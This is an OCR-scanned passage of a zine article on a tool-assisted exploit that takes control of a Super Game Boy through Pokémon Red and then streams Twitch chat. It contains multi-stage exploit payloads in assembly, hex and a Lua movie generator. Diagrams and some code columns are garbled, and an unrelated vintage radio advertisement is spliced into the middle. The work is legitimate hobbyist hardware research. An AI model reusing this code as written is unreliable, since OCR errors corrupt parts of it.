one sentence, so page 155 diagrams the complete list of changes

we make showing the value changes as anchored initially from
GBBUS 0xD349.

The primary purpose of all this swapping and tossing is to
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create a better way to craft our own code—as it would be quite
tedious to use this method to do anything longer.'? Figure 10.5
shows a disassembly of what we’ve been able to write so far,
starting from 0xD361.

Everything up to this point has been the process of writing
Stage 1, but now it’s time to walk through executing it, although
some of the shortcuts we took require a bit of explanation.

First, the reason 0xD361 contains 30 is because the beginning
of the Stage 1 data is mostly copied from the field that holds
the rival name—which happens to be directly preceded by the
player’s money. Of this quantity we see the last two out of three
bytes represented here in BCD format; the full value 00 30 00
starts at 0xD360. It would take extra effort to eliminate the 30
00 portion, but because that sequence is effectively a NOP, we
leave it be.

To reduce the number of bytes that needed to be modified,
we used several clever tricks. The code that jumps to this point
sets HL to the jump target address, and HL is a canonical pointer
register that can be written to. We reused 0xD36E, the map level
script pointer, as the loop jump address; upon exiting the menu,
the map level script pointer is loaded and called, so it loads the
value in 0xD36E into HL and jumps to it.

12The swap where j. is swapped with j. involves the pairs 00 00 and 00 F4,
but they turn into 00 63 and 00 91 because we abuse the fact that the
game assumes a quantity of 00 is the same as FF and you can only have
ninety-nine of any given item in one slot. This results in FF + F4 = 1F3
which is larger than the sum mod 255, at which point the game stores 63
in one item and 190 mod FF = 91 is stored as the remainder in the other.
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1041 LD HL, O0xD36E
1044 LD A, (HL+)

1045 LD H, (HL)

1046 LD L,A

1047 LD DE, 0x104C
104A PUSH DE

104B JP (HL) ; [D36E]

Stage 1’s purpose is to read the buttons being held down on
the controller and write them somewhere, eventually executing
what we’ve written using this slightly more efficient method than
twiddling with Pokémon and items. At a high level, this code will
read a byte from the controller on one frame, read another byte
from the controller on the next frame, subtract the two, store the
result at a given memory offset and repeat, successively storing
values one byte at a time in order in memory, and ultimately
executing said bytes.

The game’s NMI (Non-Maskable Interrupt) routine writes a
bitmap of the current buttons being held down during each frame
(mapped as the buttons ABsSRLUD from lowest to highest bit)
to OxFFF8, and HALT is used to wait for the next frame. Unfortu-
nately, the SGB BIOS cancels out LEFT+RIGHT or UP+DOWN
if they are pressed simultaneously and instead converts those bits
to 0’s. To work around it, our short routine reads two frames and
combines the values in a way that can yield arbitrary bytes. Be-
cause of restrictions on which bytes we can create, we use LD C,A
to store the first value and then SUB C to combine them.3

Using this method, we write the following data to 0xD338,
which is executed every frame; that is to say, it is repeatedly
executed even before it is fully written!

13 There is no working way to ADD the two reads because we can’t write that
opcode. Due to byte restrictions, we can’t use JP either, but CALL is close
enough. See page 159.
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1|18 27 <= first jump

3E 1C CD AF 00 21 4D D3 CD EB 5F 2E 58 00 \

3| CD EB 5F 18 FE 79 00 18 00 06 AD 12 42 30 <= Stage 2 payload
FB 40 91 18 42 00 00 18 00 00 00 /

5|18 D7 <= second jump

The memory range from 0xD338 to D360 contains only 00’s and
forms a cascade of harmless NOP instructions. This is critical, be-
cause this entire section is executed every time a byte is written;
this also means we have to be extremely careful with what we
write, to avoid executing an incomplete Stage 2 that causes a
crash. The solution is to write a jump instruction of 18 27 into
the first two bytes—which will skip execution of Stage 2 while it
is being constructed. The sequence 18 27 can’t be entered in one
frame, but fortunately the incomplete form, 18 00, is effectively
a NOP instruction. This gives us the full range from 0xD33A to
0xD360 where we can write whatever we want with impunity, and
HL points to 0xD33A.

player's . .
money written by inventory abuse
exploit call I | |
D361 D363 D36D D370
D338 I o e i
' NOPs (00s) T JR NC,0 [51 payload1 Call[D338 l
f """""""""""""""""""""""""""""""""""" ECEELC I W l
at each execuition
T
exploited
write ;)L)S\U’J‘W address

(by S1, from the data
sent via the controller)

We write 0x18 (JR x) into current write position and advance
write position:

D338 D33A D361 D363 D36D D370
oo[ """" N’dé’é"('é'é's'i"""'"'"""'"'"J'"J'I{'Né','é"['s'i'b'éﬁé'a'& '"c'é[l'iiééié']
i LA &} l

write position
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We write 0x27 into current write position, turning the first

instruction into a nontrivial jump.
D338 D33A D361 D363 D36D D370

write position

We write the Second Stage to D33A-D360 which is jumped over

and not executed. This takes 39 iterations through the loop.
D338 D33A D361 D363 D36D D370

write position
After this, we somehow need to jump to the newly completed
Stage 2. The HL now points to 0xD360 and the next byte we poke
is 18, which turns the first instruction in the Stage 1 code into
JR 0, which is still effectively a NOP.
We write 18 (JR x) to current position, turning the 30 into 18,
acting as a JR 0 instruction.

D338 D33A D361 D363 D36D D370
[""J'Ee"éé""[""""'s"z'b'é}iéé'ci'('sfki'ébé'&i""""""""5'é""['éi'b'éii&a'&' "'c'é[l'ﬁiééié'}
§ 1 ] 4 |

write position
We write D7 into 0xD362, which modifies the instruction to be
JR -41, which jumps to 0xD334, the start of the second payload.
After one more call into 0xD338 and the subsequent jump to
0xD360, the execution jumps to the Second Stage.
We write D7 (-41) to current position, turning the jump into
a jump to execute the Stage 2:

D338 D33A D361 D363 D36D D370
[""J'ri"é'g'"'["'"'"'s'é'b'ég}iéé'd'('éié'c'diéﬁ)'"""'"'J""J'r'z""'-ll{i"'['s'i'i)'é}ié'a'é' '"c'é[l'ﬁéé;é'}
yoo Y yorrpeeere |

1

write position
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One last note before moving on to what Stage 2 will do for
us: as with most things in this exploit, entering the Stage 2
payload isn’t as straightforward as it should be, and this time
it’s because the SNES and the DMG run at different clock speeds
and framerates. It takes 351,120 cycles for the DMG to run
one frame, and 357,366 for the SNES to run one frame. Each
side polls the inputs once per their frame, and the SNES side
updates the inputs that the DMG side reads once per frame.
Since each SNES frame takes slightly longer, the SNES regularly
skips updating inputs for one full DMG frame, causing the input
to be duplicated.'*

4 This has implications even outside of TAS’ing: If you hold a button for
a single frame you risk that input being lost (if the previous frame had
no buttons being pressed, that single frame’s press could be overwritten
with the no buttons pressed frame from before) or your buttons could be
held for an extra frame (even though you let go, you hit right before the
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10 The Theater of Literate Disassembly

This clock skew slip happens about every 56 DMG frames.
(Sometimes it’s 57 frames between slips due to slipping.) It takes
a full 86 frames to input the Stage 2 sequence because there are 39
bytes of payload plus four bytes total for prologue and epilogue
jump instructions, and each byte takes two frames to enter as
a result of working around L+R and U+D combinations being
nulled out. This means we have to cope with at least one clock
skew slip, and because 86 isn’t that much bigger than 2 x 56, the
slip position must be relatively near the middle to avoid having
to deal with two slips.'?

skew so your buttons are sent for an additional frame). Both of these
behaviors could cause a talented realtime player to question their abilities
as they wouldn’t have any idea that the console had been the cause of
their input being wrong.

15The movie we used was 2(prologue) + 5(banksetting) + 6(packetsend) +
5(packetsend) + 1(nop-for-slip) + 2(hang) + 11(packetl) + 7(packet2)
+ 2(unused) + 2(epilogue) = 43 bytes. We later discovered a different
method where the smallest possible extended payload would have been
2(prologue) + 5(banksetting) + 6(packetsend) + 2(hang) + 13(packet)
+ 2(epilogue) = 30 bytes which is still too much to input without a slip
due to our data rate being restricted to one nybble at a time, although
the packet data’s 0x00 portion could potentially be used for this purpose.

g ® @\W»p}w
o> - %,

FuALONG 98
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10 The Theater of Literate Disassembly

Stage 2: Sending packets to escape SGB from
very little space.

We have just 39 bytes to work with in the Stage 2 payload we
just wrote and we need to make the most out of every last byte.
Fortunately, Pokémon Red already contains a routine that sends
a command packet into the SNES. The catch is the code to send
that packet is in another ROM bank (0x1C) that we need to
switch to. While the ROM bank can be switched by a single write,
the game NMI routine (which runs every frame) does not save
the bank; rather, it switches to one stored in another memory
address instead. Two writes are needed to reliably change the
bank which would take too much space; however, the common
part of ROM (mapped regardless of the bank) has a function
that does something, then switches banks and returns. That
function makes for a very useful gadget! The entry address for
this function is 0x00AF, with register A holding the bank number.

We need to send two separate command packets, described
below.!® The packets aren’t a full sixteen bytes in length like
they appear to be, but eleven and seven bytes; the tails of the
packets are ignored, so we let the packet payloads overrun into
whatever happens to be next. After sending the packets, we have
no use for the DMG anymore, so we hang the Z80 by entering a
tight loop.

161t could be possible to use just one, by putting the NMI routine in a
memory-mapped SGB packet register, but we decided not to, as we would
need full exploit abilities just to test if this method actually works because
the emulator isn’t accurate enough to test with.
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The following Stage 2 assembly code is loaded into memory
from 0xD33A to D360.

; The gadget takes a new bank number in A.

3E 1C LD A, #$1C
; Call the bankswitch gadget.
CD AF 00 CALL $00af
; The address of the first packet to send.
21 4D D3 LD HL, packetl
; Call packet send routine.
CD EB 5F CALL $5feb
; The low byte of address of the 2nd packet, to compensate
; for input slipping.
2E 58 LD L, 0x58
00 NOP
; Call packet send routine.
CD EB 5F CALL $5feb
18 FE JR -2 ; Hang the DMG.
packetl: ; 0xd34d
DB 0x79, 0x00, 0x18, 0x00, 0x06, Oxad, O0x12, Ox42, 0x30,
Oxfb, 0x40
packet2: ; 0xd358
DB 0x91, 0x18, 0x42, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00

Originally, the LD L, 0x58; NOP sequence was LD HL, 0xD358
but we discovered that the transfer routine leaves the upper eight
bits of the address in the H register at the end of the transfer.
The transfer end of the packet at 0xD34D will be 0xD35D, so the H
register will be D3, which is exactly the value we want for the next
packet, so we can save one byte by just loading the L register.
The saved byte can taken to be NOP (00).

The repeated input can land on two inputs of the same byte,
or the last input of one byte and first input of next. The latter
is much better, since for any byte pair, it is possible to construct
three valid inputs. However, the first is much worse: The byte
will be forced to 00, and even more unfortunately, the frame
rules always cause the duplication to occur in a bad way. The
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00 freed from only loading L is close enough to the middle that
this byte can be targeted for duplication. It turned out that the
emulator doesn’t emulate the input slipping quite accurately and
we had to do a lot of tedious trial and error testing to time the
input correctly.!” The offset between emulator and real hardware
turned out to be eight frames, which we adjusted by adding eight
frames of no input into the file sent to the bot prior to exiting
the menu.

ommunicator”

A big 2 meter success story

in three simple words... o
PERFORMANCE, PORTABILITY, PRECISION | OTHER
| COMMUNICATORS
2-METER STANDARD COMMUNICATOR 2-METER DELUXE COMMUNICATOR i FOR
(Less squelch, etc) 115V AC/6V DC #3025 . . . 229.50 1 LOW POWER
115V AC/6V DC. #3026 . . . 209.50 115V AC/12V DC #3057 . 229.50 1 INDUSTRIAL
&-METER DELUXE COMMUNICATOR ( AND
115V AC/6V DC #3049 . . . 229.50 | GROUND-TO-AIR
115V AC/12V DC #3058 . . . 229.50 | APPLICATIONS

2-METER VFO . ... #3024 ... 8450

AT YOUR DISTRIBUTOR

Every modern
circuit element
essential to
outstanding b
performance gt

integrated into a
completely unique
20 pound package

l GONSET CO. 501 south Main swreet . Burbank, cail. s _J

Available separately

17Each blind test took five minutes, as we had to play back the entire movie
before reaching the point where we could determine if it worked and we
weren’t entirely certain it would work at all, but eventually we discovered
the correct offset.

168



10:3 Pokémon Plays Twitch by DwangoAC, Ilari and P4Plus2

Exploiting DMG—SGB command packets for
gaining a foothold on SNES

The Super Game Boy command packet protocol has two nifty
commands for gaining control of the SNES. 0x79 writes data to
an arbitrary memory location, while 0x91 sets the NMI vector
and jumps to an arbitrary address. Both commands are real, doc-
umented command packets; they are not undocumented debug
commands.

Since the Stage 2 code executing on the DMG is so small we
needed to minimize the number of packets required. The SNES’s
controller registers are memory-mapped 1/0 registers that auto-
matically update each video frame when enabled. It is possible
to execute code from those registers but it isn’t particularly easy
to do so, largely because it is very unsafe to execute anything
from those registers when they are in the middle of an update.
(There are all sorts of intermediate stages.)

The solution is to find some way for the SNES CPU to waste
time during that update elsewhere. The NMI vector and the NMI
handler are perfect for this: when enabled, it starts running just
before the register starts updating. We just need an NMI handler
that wastes somewhere between roughly four and 260 scanlines,
so it hits after the current NMI returns but before the next NMI
starts. Scanning descriptions of various SNES I/0 registers, a
useful one seems to be $4212, which has bit 7 set when the console
is performing a vertical retrace. The NMI occurs immediately
after the vertical retrace starts and the retrace lasts for about 40
scanlines, so waiting for $4212 bit 7 to clear works out perfectly.
Since the retrace bit is bit 7 and the SNES CPU happens to be
in a mode where the A register is 8 bits wide,'® numbers with bit

18Based on the setting of a flags register bit that selects between an 8-bit
and 16-bit A registers.
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7 set show as negative, so it’s trivial to branch on those using
BMI instruction. Handily enough, the LDA instruction that loads
the memory address into the A register sets the condition flags,
so we can just loop around that one instruction using BMI.
After the loop, we must return from the NMI. This is done
using the RTI instruction, so the final NMI handler looks like:

loop:

AD 12 42 LDA $4212 ;Read 0x4212.

30 FB BMI loop ;Loop while bit 7 is set.
40 RTI ;Return from NMI.

This handler trashes the A register, which is generally consid-
ered bad style, but we can get away with doing that.

We send two packets; the first one writes six bytes (AD 12 42
30 FB 40) into the memory address 0x001800. This is the NMI
routine.

79 ; Write Memory
00 18 00 ; Target Address
06 ; Size

AD 12 42 30 FB 40 ; Content

The second one jumps to 0x004218, which is the start of the
controller registers, with the NMI vector set to 0x001800, the
address of the routine we just wrote.!?

91 ; Jump
18 42 00 ; Jump Target
00 18 00 ; NMI Vector

19We considered putting the NMI code into the SGB packet receive buffer,
which is a memory-mapped I/O register (and presumably can be executed
by the CPU). We decided against this since the SGB emulation in BSNES
is quite questionable and we didn’t know if it would work, largely due to
the difficulty of testing it.
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Stage 3: From stable loop in autopoller registers
to loading payloads.

480 bytes per second; 60 payload bytes per second.

We have transferred control flow to controller registers, but
we aren’t done just yet. The controller registers are only eight
bytes in size, and normally not all bits are even controllable.
However, there are some tricks we can play to control all the
bits. First, even though a standard SNES controller only has
twelve buttons, the autopoller reads all 16 bits. Normally the
last four are controller type identification bits. Since those bits
are read from the controller, the controller can set those bits
to whatever it likes, including changing those bits every frame.
Second, the last four bytes of the register are read from the second
data line that is normally not connected to anything unless there
is a multitap device. It isn’t possible to just connect a multitap
device whenever we like as the game will softlock. Fortunately,
it is possible to connect the second controller so that it shares
all the other pins (+5V, ground, latch and clock), but use the
second data pin instead the first.

These two tricks allow controlling all 128 bits in the controller
registers which gives us eight bytes of data per frame. While this
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is a huge improvement over our Stage 1 effective data rate of a
nybble per frame it still only amounts to a datarate of 300 bytes
per frame because three of those eight bytes need to be used for
looping in the controller registers, leaving only five bytes usable.
(Although, as you'll see, only one byte of payload data can be
sent per frame.)

Specifically, to loop successfully in the controller registers we
need to wait for the NMI induced interrupt in order to avoid
the NMI happening at an unpredictable instruction (because the
NMI trashes A) and then jump to the start of the controller reg-
ister. Then there is issue that NMI is not initially enabled, even
if the handler is set, so the first frame has to enable the NMI
handler. Fortunately, this can be done rather compactly:

loop:

A9 81 LDA #$81

8D 00 42 STA $4200 ; Set 0x4200 = 0x81 (autopoller enabled,
H IRQ dis, NMI en)

CB WAI

80 F8 BRA loop

Since the code is idempotent, this is good time to switch from
sending input in once per frame to sending input in once per latch
poll. The way the SGB BIOS polls the controllers is completely
crazy, often polling more than once per frame, polling too many
bits, trying to poll but leaving the latch held high, etc. Because
this is a somewhat common problem even in other games, the
bot connected to the controller ports has a mode where it syn-
chronizes what input to send based on the edge of each video
frame (1/60th of a second in a polling window) by keeping track
of how much time has elapsed; if the game asks for input more
than once on the same frame we give it that frame’s input again
until we know it is time for the next frame’s polls, which means
we can follow the polling no matter how crazy it is. The obvious
trade off is that this mode is limited to eight bytes per frame with
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four controllers attached, so we need to switch the bot’s mode
to one that is strictly polling based, sending the next set of but-
ton presses on each latch. Making that transition can be a bit
glitchy considering it was added as a firmware hack but because
this piece of code is idempotent we can just spam the same input
several times as we only need it to hit in the range. This happens
from frame 12,117 to 12,212 in the movie.

We now have a stable loop in the controller registers that we
can use to poke some code into RAM. The five bytes per frame
is enough to write one byte per frame into an arbitrary address
in first 8kB of the SNES’s RAM:

LDA #$xx
STA $yyyy

This assembles to five bytes, A9 xx 8D yy yy. Finally, after
the writes, we can use JML (four bytes) to jump to the desired
address. Since the DMG is still playing some annoying tunes, the
first order of business is to try to crash it. Writing 00 to the clock
control /reset register at 0x6003 should do the trick by stopping
the DMG clock, and in fact this works in the LSNES emulator,
but on a real console the annoying tunes keep playing until the
DMG corrupts itself enough to crash completely.??

20Tt’s not a surprise that it behaves differently in the emulator, as the SGB
emulation accuracy in BSNES is questionable in a lot of places; it’s pos-
sible that the emulator is triggered on a different edge of the clock than
real hardware or something similar. Regardless, on real hardware the
DMG eventually crashes in a way that makes it stop producing sound
and while it’s about the equivalent of driving a car into a brick wall
instead of hitting the brakes it at least gets the job done.

174




3 Pokémon Plays Twitch by DwangoAC, Ilari and P4Plus2

10

{SI9[[0IYU0D INOJ SuIsn MON :0T'QT 2SI,

T OO P TY

B uSEAEETO W 2 X es o AHE 07 B«
B 48BAHE T0 W 2 Hoea v AHE 0 77 B« 2|
B 45SAHE T0 W Z Hoes u AHE 0 77 B+ 2|
H o 45SAHE TO W Z Hoes o AHE 077 B« 2|
B o45SAHE TO W 2 Hoes s AHE 0 7 Be d
B o453AEE TO W 2 Xes o AHE 07 Be d
B o433AEE TO W Z Xes s AHE 07 Be g
B u35AEE TO W Z Kes s AHE 07 B+ g
B 48BAHE T0 W 2 Hoea v AHE 0 77 B« 2|
B 45SAHE T0 W Z Hoes u AHE 0 77 B+ 2|
H o 45SAHE TO W Z Hoes o AHE 077 B« 2|
B o45SAHE TO W 2 Hoes s AHE 0 7 Be d
B 453AEE TO W 2 X oes o AHE 07 Be |
B 48SAEE TO W 2 Hles1 e DEAGETTOHT G 2|
4+ s4d
4
« B
<« 8
# a T

08727
62127
82121
L212aTl
92121
52127
2127
£2127
22121
T2121
02121
61121
a11er
L1127
97121
S5TT2T
PIT2T
£1121
21127
11127
07127
6OTZT
820121
LOT2T
0121
50127
#0127

175



10

12

14

16

18

20

22

24

10 The Theater of Literate Disassembly

Stage 4: Increasing the datarate even further.

3,840 bytes per second.

One byte per frame is rather slow as it would take us several
minutes to write our payload at that speed so we poke the follow-
ing routine (Stage 4) that reads eight bytes per frame from the
autopoller registers and writes it sequentially to RAM, starting
from 0x1A00 until 0x1B1F into address 0x19000.

SEP #$30 ;Set 8-bit A and X/Y
LDA #$01 ;8et 0x4200 = 0x01
; (autopoller en, NMI dis)
STA $4200
REP #$10 ;Set 16-bit X/Y, keep A 8-bit.
LDY #$1A00 ;Load address to write to.
wait_vblank_start:
LDA $4212 ;Wait until vblank starts.
BPL wait_vblank_start
wait_vblank_end:
LDA $4212 ;Wait until vblank ends, so the
;new controller value arrives.
BMI wait_vblank_end
LDX #$4218 ;8tart address of controller reg.
LDA #$00 ; MUN copies 16 bits, even though A is 8 bit.
XBA ; So ensure that the high bits are zero.
LDA #$07 ; A =7, copy eight bytes.
PHB ; MVN changes the data bank register, so save it.
MVN $7E,$00 ; Copy the eight bytes from 0x4218 to RAM.
; Y is auto-incremented.
PLB ; Restore the data bank register.
CPY #$1B20 ; Have we reached 0x18207
BNE wait_vblank_start ; If no, wait a frame and read again.
JML $7E1A08 ; Jump to read payload.

As machine code, e2 30 a9 01 8d 00 42 c2 10 a0 00 la ad
12 42 10 fb ad 12 42 30 fb a2 18 42 a9 00 eb a9 07 8b
54 7e 00 ab cO 20 1b dO e4 5c 08 1la T7e.

Why jump to eight bytes after the start of the payload? It
turns out that code loads some junk from what is previously in
the controller registers on the first frame, so we just ignore the
first few bytes and start the payload code afterwards. Eight bytes
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per frame still isn’t fast enough, so the routine this code pokes
into RAM is another loader routine that uses serial controller
registers to read eight bytes eight times per frame, for total of 64

bytes per frame.

Let’s take a look at the Stage 5 payload:

; 0000 => Current transfer adr
; 0002 => Transfer end address
; 0004 => Blocks to transfer.
; 0006 => Current xfr bank.

; 0008 => 0: No transfer.

H 1: Transfer in progress.
; 000C => Blocks transferred.
; 0010 => Jump vector to next
H in chain.

; 0020-0027 => Buffer

; 0080-00BF => Buffer.

Start:
NOP ; 8 NOPs, for the junk
NOP ; at start.
NOP
NOP
NOP
NOP
NOP
NOP
SEI
LDA #$00 ; Autopoll off,
; NMI and IRQ off.
STA $4200

REP #$30 ; 16-bit A/X/Y.

5 Initially no transfer.
LDA #$0000
STA $0008

frame_loop:

SEP #$20

not_in_vblank:

; Wait until next vblank ends
LDA $4212

BPL not_in_vblank
in_vblank:

LDA $4212

BMI in_vblank

REP #$20

LDA #$0008
STA $0004
LDA #$0000
STA $000C

rx_block:

LDA #$0001

STA $4016

LDX #$0003
latch_high_wait:
DEX

BNE latch_high_wait
STZ $4016

LDX #$0004
latch_low_wait:
DEX

BNE latch_low_wait

LDA #$0000
STA $0020
STA $0022
STA $0024
STA $0026

LDY #$0010
read_loop:

LDA $4016

PHA

; Bit 0 => 0020,
; Bit 1 => 0024,
; Bit 8 => 0022,
; Bit 9 => 0026
BIT #$0001
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BNE
LDA
ASL
BRA

bOnz
$0020
A

bod

bOnz:

LDA
ASL
EOR

bod:

STA

PLA
PHA
BIT
BNE
LDA
ASL
BRA

$0020
A
#$0001

$0020

#$0002
binz
$0024
A

bild

binz:

LDA
ASL
EOR

bid:

STA

PLA
PHA
BIT
BNE
LDA
ASL
BRA

$0024
A
#$0001

$0024

#$0100
b8nz
$0022
A

b8d

b8nz:

LDA
ASL
EOR

b8d:

STA

PLA
BIT
BNE
LDA
ASL
BRA

$0022
A
#$0001

$0022

#$0200
b9nz
$0026
A

b9d

b9nz:

LDA
ASL

178

$0026
A

EOR #$0001
bod:
STA $0026

DEY
BNE read_loop

H

5

Move the block from 0020
to its final place

LDA $000C
ASL A

ASL A

ASL A

CLC

ADC #$0080
TAY

LDX #$0020
LDA #$0007
MVN $00, $00

5
5

B

Increment the count at 000C,
decrement the count at 0004.
If no more blocks, exit.

LDA $000C

INA

STA $000C

LDA $0004

DEA

STA $0004

BEQ exit_rx_loop
JMP rx_block
exit_rx_loop:

LDA $0008
BNE doing_transfer

5

Okay, setup transfer.

LDA $0082
CMP #$FF
BMI not_jump

H

This is jump, copy the adr.

STA $12

LDA $0080

STA $10

BRA out

not_jump:

LDA $0080 ; Starting address.
STA $0000

LDA $0082 ; Bank.
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STA $0006 doing_transfer:
LDA $0084 ; Ending address.
STA $0002 ; Copy the stuff to its final
; place in WRAM.
; Self-modify the move. LDY $0000
LDX #move_instruction LDX #$0080
LDA $0006 LDA #$003F
AND #$FF PHB
STA $01,X move_instruction:
MVN $40,%00 ; Bogus bank,
; Enter transfer. ; to be modified.
LDA #$0001 PLB
STA $0008 TYA
STA $0000
; See you next frame. CMP $0002
JMP no_reset_transfer BNE no_reset_transfer
STZ $0008 ; End transfer.
no_reset_transfer:
; Next frame.
JMP frame_loop
out:
JMP [$10]
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Figure 10.11: Why should we wait for next frame? Go sub-frame!
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Stage 5: Transfers of data in blocks with headers.

3,840 bytes per second.

This routine is rather complex, so let’s review some of its trick-
ier parts. The serial protocol works by first setting the latch bit,
bit 0 in 0x4016, then clearing it, then reading the appropriate
number of times from 0x4016 (port #1) and 0x4017 (port #2).
Bit 0 of the read result is the first data line value, while bit 1 is
the second data line value. After each read, the line is automati-
cally clocked so the next bit is read. The two port latch lines are
connected together; bit 0 of 0x4016 controls both.

The bot is slow, so we wait after setting/clearing the latch
bit. We properly reassemble the input in the usual order of the
controller registers, since we have CPU time available to do that.
Since we read 16-bit quantities, port 0x4017 is read as high 8
bits, so the data lines there appear as bits 8 and 9.

To handle large payloads, the payload is divided into blocks
with headers. Each header tells where the payload is to be writ-
ten, or, if it is the last block, where to begin execution.

The routine uses self-modifying code: The source and destina-
tion banks in MVN are fixed in code, but this code is dynamically
rewritten to refer to correct target bank.

Automating the Movie Creation

Since manually editing, recompiling and transforming inputs gets
old very fast when iterating payload ROMs, tools to automate
this are very useful. This is the whole reason for having Stage 5
use block headers. Furthermore, to not have one person doing the
work every time, it’s helpful to have a tool that even script-kiddies
can run. The tool to do this is a Lua script that runs inside
the emulator. (The LSNES emulator has built-in support for
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running Lua scripts, with all sorts of functions for manipulating
the emulator.)

dofile("sgb-arbitrarywrite.lua");

make_movie = function(filename)
write_sgb_data("stage4.dat");
write_8bytes_data("stageb5.dat");
write_xfer_block(filename, 0x8000, 0x7E8000, 0x4000, 8);
write_xfer_block(filename, 0x10000, 0x7F8000, 0x7A00, 8);
write_jump_block (0x7E8051, 8);
print ("Done");

end

This code, the main Lua script, refers to four external files.
“staged.dat” contains the memory writes to load the Stage 4
payload from page 176 while executing in the controller registers.

This file contains the Stage 4 payload, plus the ill-fated attempt
to shut up the DMG. (As noted previously, it dies on its own
later.) The first line containing 0x001900 is the address to jump
to after all bytes are written.

A filename is taken as a parameter, which is the payload ROM
to use. As you can see, the Lua script fixes the memory mappings,
but this is okay, as those are not difficult to modify.

The specified memory mappings copy a sixteen kilobyte byte
region starting from file offset 0x8000 into 0x7E8000, and the
0x7A00 byte region starting from offset 0x10000 into 0x7F8000.
(The first 32kB contain initialization code for testing.)

The script assumes that the loaded movie causes the SNES to
jump into controller registers and then enable NMI, using the
methods described earlier. It appends the rest of the stages and
payload to the movie. Also, since it edits the loaded input, it
is possible to just load state near the point of gaining control
of the SNES and then append the payload for very fast testing.
(Otherwise it would take about two minutes for it to reach that
point when executing from the start.)
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--sgb-arbitrarywrite.lua
lo = function(a) return bit.band(a, O0xFF); end
mid = function(a)

10

12

14

16

18

20

22

24

26

28

30

32

34

36

38

40

42

44

46

return bit.band(bit.lrshift(a, 8), OxFF); end
= function(a)
return bit.band(bit.lrshift(a, 16), OxFF); end

set8 = function(obj, port, controller, index, val)

for i=0,7 do
obj:set_button(port, controller, index + i,

bit.test_all(bit.lshift(val, i), 128))

end

end

add_frame=function(a, b, ¢, d, e, f, g, h, sync)

local frame = movie.blank_frame();
frame:set_button(0, 0, 0, sync);

set8(frame, 1, 0, 0, b);
set8(frame, 1, 0, 8, a);
set8(frame, 1, 1, 0, f);
set8(frame, 1, 1, 8, e);
set8(frame, 2, 0, 0, d);
set8(frame, 2, 0, 8, c);
set8(frame, 2, 1, 0, h);
set8(frame, 2, 1, 8, g);

movie.append_frame (frame) ;

end

write_sgb_data = function(filename)

local jump_address = nil;
local file, err = io.open(filename);
if not file then error(err); end
for i in file:lines () do
if i == "" then
elseif not jump_address then
jump_address = tonumber (i);
else
local a, b = string.match(i, " (%w+)%s+(%huw+)");
a = tonumber (a);
b = tonumber (b);
add_frame (0xA9, b, 0x8D, lo(a), mid(a),
0xCB, 0x80, OxF8, true);
end
end
add_frame (0x5C, lo(jump_address), mid(jump_address),
hi(jump_address), O, O, 0x80, OxF8, true);
file:close();
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end
write_8bytes_data = function(filename)
local file, err = io.open(filename);

if not file then error(err); end
while true do
local data = file:read(8);
if not data then break; end
local a, b, ¢, d, e, f, g, h = string.byte(data, 1, 8);
add_frame(a, b, ¢, d, e, f, g, h, true);

end
file:close();
end
write_xfer_block = function(filename, fileoffset,
targetaddress, size, speed)
local file, err = io.open(filename);

if not file then error(err); end

file:seek("set", fileoffset);

while size ) (8 * speed) "= 0 do size = size + 1; end

local endaddr = bit.band(targetaddress + size, OxFFFF);

--Write the header.

add_frame (lo(targetaddress), mid(targetaddress),
hi(targetaddress), 0, lo(endaddr), mid(endaddr),
0, 0, true);

for i=2,speed do add_frame(0,0,0,0,0,0,0,0,false); end

--Write actual data.
for i = 0,size/8-1 do
local data = file:read(8);

if data == nil then
data = string.char(0, 0, 0, 0, 0, 0, 0, 0);
end
while #data < 8 do data = data .. string.char(0); end
local a, b, ¢, d, e, f, g, h = string.byte(data, 1, 8);
add_frame(a, b, ¢, d, e, £, g, h, i % speed == 0);
end
file:close();
end
write_jump_block = function(address, speed)

add_frame (lo(address), mid(address), hi(address),
1, 0, 0, 0, 0, true);
for i=2,speed do
add_frame (0, 0, 0, O, 0, O, O, 0, false);
end
end
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Stage 6: Twitch Chat Interface

After successfully transferring our payload, execution of the ex-
ploit payload (created by P4Plus2) can officially begin. There
are three parts to the final payload: Reset, the Chat Interface,
and a TASVideos Webview.

The Reset

Because much of the hardware state is either unknown or unreli-
able at the point of control transfer we need to initialize much of
the system to a known state. On the SNES this usually implies
setting a myriad of registers from audio to display state, but also
just as important is clearing out WRAM such that a clean slate
is presented to the payload. Once we have a cleared state it is
possible to perform screen setup.

In the initial case we set the tile data and tilemap VRAM
addresses and set the video made to 0x01, which gives us two
layers of 4-bit depth (Layers 1 and 2) and a single layer of 2-bit
depth, Layer 3.

Layer 1 is used as a background which displays the chat inter-
face, while Layer 2 is used for emoji and text. Layer 3 is unused.
A special case for the text and emoji however is Red’s own text
which is on the sprite layer, allowing code to easily update that
text independently.

The Chat Interface

Now that we have the screen itself set up and able to run we
need to stream data from Twitch chat to the SNES. But we only
have 64 bytes per frame available to support emoji as well as the
alphabet, numbers, various symbols, and even special triggers
for controlling the payload execution. This complexity quickly
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bogged down our throughput per frame, so we created special
encodings for performance! On average the most common char-
acters will be a-z in lower case, which conveniently fit into a
5-bit encoding with several more characters to spare.

The SNES has both 16-bit and 8-bit modes, so in 16-bit mode
we can easily process three characters with a bit to spare! But
what about the rest of our character space? Well, we have a single
bit remaining and can set it to allow the remaining characters to
be alternatively encoded. The alternate encoding allowed for
two 7 bit characters, with an additional toggle bit on the second
character.

BXXXXXXX XXXXXXXX
if (E) goto special_encoding
if (!E) goto normal_encoding
normal_encoding:
OAAAAABB BBBCCCCC
A = full character 1
B = full character 2
C = full character 3
special_encoding:
1XXXXXXX SXXXXXXX
if (8) goto special_command
if (!S) goto read_two_characters
read_two_characters:
1AAAAAAA OBBBBBBB
A = full character 1
B = full character 2 (used for Red’s text)
special_command:
1AAAAAAA 1BBBBBBB
A = full character 1
B = Command byte

The most important command was EE, chosen very arbitrarily,
which meant “transition state.” The state transition would then
toggle between the TASVideos website and chat interface. Also
worth noting is that any character with a value of 00 was consid-
ered a null character and was not displayed for synchronization
purposes.
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Figure 10.12: Twitch Chat!

187



10 The Theater of Literate Disassembly

The Website

The website itself is not very complicated, rather just interesting
to mention to take advantage of mode 0x03 which allowed us
to render a 256—color image, rather than the standard 16—color
images from the prior section. The only caveat was that we
had to make a quick tool to remove duplicate tiles to optimize
the tile data to fit in VRAM. Background colors were controlled
by tweaking the palette data rather than the image itself, as the
SNES is very poor at manipulating raw tile data due to its planar
pixel format.

Outside of the SNES

The bot was connected to the console through the controller ports
and a single wire going to the reset pin on the expansion board,
meaning that from an external perspective the hardware was
